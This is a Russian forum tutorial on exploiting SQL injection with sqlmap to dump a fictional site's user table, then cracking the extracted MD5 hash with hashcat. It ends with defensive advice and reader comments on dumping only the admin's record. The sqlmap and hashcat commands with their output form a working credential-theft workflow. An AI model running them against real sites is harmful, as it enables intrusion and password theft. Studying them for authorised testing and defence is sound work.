Статья SQL-инъекция на практике: пошаговый гайд по SQLMap и Hashcat

[Сергей Попов]

Всем привет, Codeby!

Предыдущая часть: SQLMAP: гайд по SQL-инъекциям и обходу WAF (2025)

Подробный гайд, который часто просят новички. Разберём классический сценарий — эксплуатация SQL-инъекции с помощью связки SQLMap + Hashcat. Пройдём весь путь от получения структуры базы данных до взлома пароля.

Важно: всё, что вы увидите ниже — полностью вымышленный сценарий. URL, база данных и хеши созданы специально для этого руководства. Цель — научиться работать с инструментами, а не ломать реальные сайты. Помните об этике и законодательстве. Погнали!

Представим, что мы уже нашли уязвимый параметр на неком сайте. Наш старт — вот этот URL: http://test-site.local/item.php?id=15.

Шаг 1: Разведка. Узнаём столбцы в таблице user_info​

Первым делом нужно понять, какая структура у таблицы, где, как мы предполагаем, лежат данные пользователей. Наша цель — найти поля с логином и паролем в таблице user_info внутри базы clemcoindustries.

Команда:

sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info --columns

• -u — наш целевой URL. Берём его в кавычки, это хорошая привычка.
• -D — указываем имя базы данных, которое мы могли узнать на предыдущих этапах разведки.
• -T — конкретная таблица, которая нас интересует.
• --columns — команда, которая говорит SQLMap: «Эй, покажи-ка мне все столбцы из этой таблицы».

Что вернёт SQLMap:

[INFO] retrieved: user_id — int(10) unsigned
[INFO] retrieved: user_login — varchar(50)
[INFO] retrieved: user_password — varchar(255)
[INFO] retrieved: user_salt — varchar(16)
[INFO] retrieved: record_status — tinyint(4)

Отлично, столбцы user_login и user_password на месте. Это наши цели.

Шаг 2: Получаем имена пользователей​

Теперь, когда мы знаем, где искать, давайте вытащим логины. Это полезно, чтобы убедиться, что в таблице вообще есть данные.

sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info -C user_login --dump

Тут всё знакомо, кроме двух флагов:

• -C user_login — говорим, что нам нужен только столбец с логинами.
• --dump — команда для извлечения (дампа) данных.

Примерный вывод:

Database: clemcoindustries
Table: user_info
[1 entry]
+------------+
| user_login |
+------------+
| admin      |
+------------+

Супер, у нас есть пользователь admin. Теперь самое интересное.

Шаг 3: Извлекаем хеш пароля​

Действуем по аналогии, но теперь наша цель — столбец user_password.

sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info -C user_password --dump

Результат:

Database: clemcoindustries
Table: user_info
[1 entry]
+----------------------------------+
| user_password                    |
+----------------------------------+
| 202cb962ac59075b964b07152d234b70 |
+----------------------------------+

SQLMap, скорее всего, сам подскажет, что это похоже на хеш и предложит его взломать. Но мы сделаем это вручную, чтобы понять процесс.

Шаг 4: Определяем тип хеша​

Что это за строка 202cb962ac59075b964b07152d234b70? С опытом вы будете узнавать некоторые хеши «в лицо», но для надёжности воспользуемся утилитой из Kali Linux — hash-identifier.
Вводим наш хеш:

$ hash-identifier
HASH: 202cb962ac59075b964b07152d234b70
Possible Hashs :
[+] MD5

Как и предполагалось, это старый добрый MD5. Очень небезопасный по нынешним меркам, но всё ещё встречающийся в старых системах.

Шаг 5: Крашим хеш с помощью Hashcat​

Финальный рывок. Создаём файл hash.txt и записываем в него наш хеш. Затем запускаем тяжёлую артиллерию — Hashcat.

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Разберём эту магию:

• -m 0 — это код режима для MD5. Для каждого типа хеша у Hashcat есть свой код.
• -a 0 — режим атаки. Ноль — это классический перебор по словарю (Straight).
• hash.txt — наш файл с хешем.
• /usr/share/wordlists/rockyou.txt — путь к знаменитому словарю. Если у вас его нет, обязательно установите.

Итог работы Hashcat:

202cb962ac59075b964b07152d234b70:abc123
Session..........: hashcat
Status...........: Cracked
...

Победа! Пароль — abc123.

Конечно, наш вымышленный пример был довольно простым. В реальных задачах всё бывает куда интереснее: фильтры, кастомное хеширование и многоуровневая защита. Чтобы увидеть, как похожие техники применяются на практике, очень советую почитать разборы (райтапы) с CTF. Там можно подсмотреть много полезных фишек.

Вот, например, пара свежих разборов веб-заданий от наших форумчан:

• Квантовый прорыв WriteUp: разбор задач CTF-вызова
• Форум предсказателей: Writeup и разбор задачи

Мораль и защита: что нужно знать​

А теперь самое главное. Мы всё это делали не ради взлома, а чтобы понять, как защищаться.

1. Не доверяйте данным. Всегда проверяйте команды и имена, которые вы используете. Опечатка в имени таблицы или столбца — и вы впустую потратите время.
2. Хеширование — это не шифрование. Наш пример с MD5 идеально показывает, почему он плох. Его можно быстро взломать перебором по словарю. В 2025 году использовать MD5 для паролей — преступление. Смотрите в сторону bcrypt, scrypt или Argon2, которые являются адаптивными и требуют больших вычислительных ресурсов для взлома.
3. Этика и закон. Ещё раз: все эти действия легальны только в рамках официального тестирования на проникновение (пентеста) или на собственных учебных стендах. На форуме codeby.net мы за белый хакинг.
4. Главная защита от SQL-инъекций.
   • Параметризованные запросы (Prepared Statements): Это основной и самый надёжный способ. Он разделяет код SQL-запроса и данные, не давая пользователю вмешаться в логику запроса.
   • ORM (Object-Relational Mapping): Фреймворки вроде Django, Ruby on Rails или Laravel используют ORM, которые в большинстве случаев автоматически создают безопасные запросы.
   • WAF (Web Application Firewall): Хороший дополнительный уровень защиты, который может отфильтровать вредоносные запросы ещё на подлёте.
   • Принцип наименьших привилегий: Учётная запись, от имени которой веб-приложение подключается к БД, не должна иметь прав на всю базу данных. Только на те таблицы и операции, которые ей реально нужны.
5. Профессиональный рост. Понимание таких атак — это только первый шаг. Чтобы развиваться в пентесте и превратить это в профессию, нужен системный подход. Кстати, на Codeby есть отличная статья о том, как спланировать свой путь в эту сферу, особенно если вы переходите из другого IT-направления.

Итак, наш путь в пяти шагах:​

1. Разведали структуру таблицы через --columns.
2. Вытащили логин и хеш пароля с помощью --dump.
3. Определили тип хеша — MD5.
4. Подобрали пароль (abc123) через Hashcat.
5. Сделали выводы о том, как строить надёжную защиту.

Надеюсь, этот разбор был полезен. Если есть вопросы или хотите обсудить другие сценарии — пишите в комментариях!

Обновлено и дополнено командой Codeby на основе официальной документации sqlmap и практического опыта.

 

[Rybinez]

познавательно

Обычный Hashcat не смог определить код для хэша DES. (не в меню справки). Однако оба cudaHashcat и oclHashcat нашли и взломали ключ

т. е. hashcat просто пропустил валидный пароль из словаря или что?

ааа, это перевод.. пардон

 

[Tihon49]

Я вообще думал что cudahashcat и oclhashcat - это уже давно не рабочие инструменты, и что hashcat заменил их оба!!!

 

[s unity]

подскажите, а если в базе данных более 10к пользователей?! можно каким то образом не дампить всех пользователей а именно админа? и как понять кто из них админ. что-то я не догоняю

 

[explorer]

подскажите, а если в базе данных более 10к пользователей?! можно каким то образом не дампить всех пользователей а именно админа? и как понять кто из них админ. что-то я не догоняю

Конечно можно, самый простой способ это указать id в запросе, по-умолчанию id админа равен 1 (прошаренный админ сменит id, но это случается нечасто). Как-то так примерно:
SELECT * FROM login WHERE id=1

 

[s unity]

Конечно можно, самый простой способ это указать id в запросе, по-умолчанию id админа равен 1 (прошаренный админ сменит id, но это случается нечасто). Как-то так примерно:
SELECT * FROM login WHERE id=1

Подскажи как указать это sqlmap? Я понял что за параметр, но как это протолкнуть в проге? И еше, админу могут держать свою инфу в недоступной для данного пользователя MySql?

 

[explorer]

Подскажи как указать это sqlmap? Я понял что за параметр, но как это протолкнуть в проге? И еше, админу могут держать свою инфу в недоступной для данного пользователя MySql?

Очень просто:
sqlmap -u

Ссылка скрыта от гостей

-D db_name --where="id=1" --dump

P.S. Встречаются ограничения в плане привилегий, когда текущий пользователь, например может получить названия таблиц и колонок, а записи из колонок нет. Ещё может быть 2 и более баз данных на сайте, и в текущей базе никаких вкусняшек нет, но они находятся в других базах .

 

[whoamikarate]

Может ли лежать пароль от админки сайта в information_schema? или в базе данных?

 

[explorer]

Может ли лежать пароль от админки сайта в information_schema? или в базе данных?

Не может, а с вероятностью 99% именно в базе данных он и лежит. И с вероятностью более 90% он будет захеширован, то есть пароль находится не в открытом виде. Пример из дампа БД: